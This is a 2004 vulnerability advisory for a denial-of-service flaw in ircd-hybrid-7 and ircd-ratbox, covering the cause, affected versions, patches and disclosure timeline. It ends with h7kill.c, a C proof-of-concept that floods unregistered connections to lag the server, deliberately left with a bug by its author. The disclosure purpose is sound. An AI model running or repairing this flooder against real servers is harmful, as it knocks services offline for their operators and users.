ircd-hybrid-7 / ircd-ratbox low-bandwidth DoS
Name : ircd-hybrid-7/ircd-ratbox low-bandwidth DoS
Date : June 14th 2004
Author : Erik Sperling Johansen <einride@xxxxxxxxxxx>
Severity : Medium
This has been tested on most the ircd versions currently used on EFNet.
Other ircds may be affected.
Affected:
ircd-hybrid <=7.0.1
ircd-ratbox <=1.5.1
ircd-ratbox <=2.0rc6
Not Affected:
ircd-hybrid 7.1-devel
ircd-ratbox >=1.5.2
ircd-ratbox >=2.0rc7
ircd-hybrid 6
csircd
Outline:
Due to faulty logic in the socket dequeuing mechanism used in hybrid 7
and the derivated ircd-ratbox, it is possible to severely lag an irc
server using a low-bandwidth DoS attack.
Description:
Client connections to the ircd are subject to a burstable rate limit,
specified as messages per second, and implemented as a simple token
bucket. This rate limit will cause a client to exit with an "Excess
Flood" error if data is sent too fast. This rate limit is not used for
connected servers, and more important; neither for connections that
are not yet registered as a client or a server.
Processing of received data is a 2-stage operation. First, data is
read off ready sockets, split into lines and queued up in a "linebuf"
linked list with buffers allocated from a blockheap. Each line will
cause a 537-byte block of data to be allocated.
Then, these lines are processed by parse_client_queued. If the sender
is a server, there's no ratelimit, fine. If the sender is a client,
there's a ratelimit leading to a closed connection if it's exceeded,
works like a charm. If the sender is "Unknown", there's a fixed
ratelimit of MAX_FLOOD (default 5) lines per main loop iteration. This
ratelimit does not cause the connection to be closed if it is exceeded,
processing is simply postponed until next main loop iteration.
So, if you haven't registered, you're not subject to rate limits. Each
line you send causes a 537 byte buffer to be allocated. Your lines are
dequeued slowly. Starts to look like a possible memory exhaustion? Now,
add to this that " \n" is considered a queueable line. Yep, 2 bytes
sent cause a 537 byte heap block to be queued and way too slowly
dequeued.
Exploitation:
The included app can make any of the vulnerable ircds severely lagged
and often totally unresponsive, with usage of no more than 100-150K/sec
bandwidth. The effects stay behind several minutes after the flooding
connections have been terminated. No warnings are given with the default
log levels of the affected ircds.
Resolution:
- Upgrade to hybrid-6 or csircd
- Get the corrected ratbox-1.5.2 from http://www.ircd-ratbox.org
- Get a hybrid-7.0.1 patch from
http://www.ircd-hybrid.org/diff/unreg_limit.diff
Timeline:
Found june 13th.
Developers informed june 14th. Patch made available immediately.
Notified EFNet administration june 15th.
Public release june 19th.
Erik S. Johansen <einride@xxxxxxxxxxx>
einride@EFNet - co-admin irc.banetele.no
-----h7kill.c-----
// Proof of concept - remote ircd-hybrid-7/ircd-ratbox DoS
//
// ./kiddie-proofed - you'll need to correct a bug
//
// Tested on linux, should work with minor tweaks on other platforms
//
// -- Erik Sperling Johansen <einride@xxxxxxxxxxx>
#include <stdlib.h>
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/signal.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <string.h>
#include <time.h>
int done = 0;
void siginthandler(int x) {
fprintf(stdout, "Exiting\n");
done = 1;
}
void usage(const char * b) {
fprintf(stderr, "%s ip port connectioncount\n", b);
exit(1);
}
int makeconn(struct sockaddr_in * sin) {
int s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s < 0) {
perror("socket");
return -1;
}
int n=1;
if (ioctl(s, FIONBIO, &n, sizeof(n))) {
perror("ioctl");
close(s);
return -1;
}
errno = 0;
if ((connect(s, (struct sockaddr *) sin, sizeof(sin)) == -1)
&& (errno != EINPROGRESS)) {
perror("connect");
close(s);
return -1;
}
return s;
};
int main(int argc, const char ** argv, const char ** envp) {
fd_set wfd, rfd;
FD_ZERO(&wfd);
FD_ZERO(&rfd);
if (argc != 4)
usage(argv[0]);
struct sockaddr_in sin;
memset(&sin, 0, sizeof(sin));
sin.sin_addr.s_addr = inet_addr(argv[1]);
if (sin.sin_addr.s_addr == INADDR_NONE)
usage(argv[0]);
sin.sin_port = htons(atoi(argv[2]));
sin.sin_family = AF_INET;
int conncount = atoi(argv[3]);
if ((conncount <= 0) || (conncount > FD_SETSIZE-5))
usage(argv[0]);
int * sockets = (int *) malloc(conncount * sizeof(int));
int i, highsock = 0;
char buf[65536];
char dummy[65536];
for (i=0; i<sizeof(buf)-1; i+=2) {
buf[i] = ' ';
buf[i+1] = '\n';
}
for (i = 0; i<conncount; ++i)
sockets[i] = -1;
highsock = -1;
int CountConnects = 0, CountBytes = 0, CurCountBytes = 0;
time_t Started = time(0), LastRep = time(0);
signal(SIGPIPE, SIG_IGN);
signal(SIGINT, siginthandler);
while (!done) {
fd_set w, r;
if (highsock == -1) {
for (i=0;i<conncount;++i) {
if (sockets[i] < 0) {
sockets[i] = makeconn(&sin);
if (sockets[i] >= 0) {
++CountConnects;
FD_SET(sockets[i], &wfd);
FD_SET(sockets[i], &rfd);
}
if (highsock < sockets[i])
highsock = sockets[i];
}
}
}
memcpy(&w, &wfd, sizeof(w));
memcpy(&r, &rfd, sizeof(r));
struct timeval tv = { 1, 0 };
int c = select(highsock+1, &r, &w, 0, &tv);
for (i = 0; (i<conncount) && (c > 0); ++i) {
if (sockets[i] >= 0) {
if (FD_ISSET(sockets[i], &w)) {
int bytes = send(sockets[i], buf, sizeof(buf), 0);
if (bytes > 0) {
CountBytes += bytes;
CurCountBytes += bytes;
} else {
#ifndef NONOISE
perror("send");
#endif
FD_CLR(sockets[i], &wfd);
FD_CLR(sockets[i], &rfd);
close(sockets[i]);
#ifndef NONOISE
fprintf(stdout, "(send) Lost conn on socket %i, reconnecting\n",
sockets[i]);
#endif
sockets[i] = -1;
highsock = -1;
}
}
}
if (sockets[i] >= 0) {
if (FD_ISSET(sockets[i], &r)) {
errno = 0;
if (recv(sockets[i], dummy, sizeof(dummy), 0) <= 0) {
#ifndef NONOISE
perror("recv");
#endif
FD_CLR(sockets[i], &wfd);
FD_CLR(sockets[i], &rfd);
close(sockets[i]);
#ifndef NONOISE
fprintf(stdout, "(recv) Lost conn on socket %i, reconnecting\n",
sockets[i]);
#endif
sockets[i] = -1;
highsock = -1;
}
}
}
}
if (time(0) - LastRep > 5) {
fprintf(stdout, "%i connects made - Total: %i bytes, %li BPS - Last
period: %i bytes, %li BPS\n", CountConnects, CountBytes, CountBytes /
(time(0) - Started), CurCountBytes, CurCountBytes / (time(0) - LastRep));
LastRep = time(0);
CurCountBytes = 0;
}
}
fprintf(stdout, "%i connects made - Total: %i bytes, %li BPS\n",
CountConnects, CountBytes, CountBytes / (time(0) - Started));
return 0;
}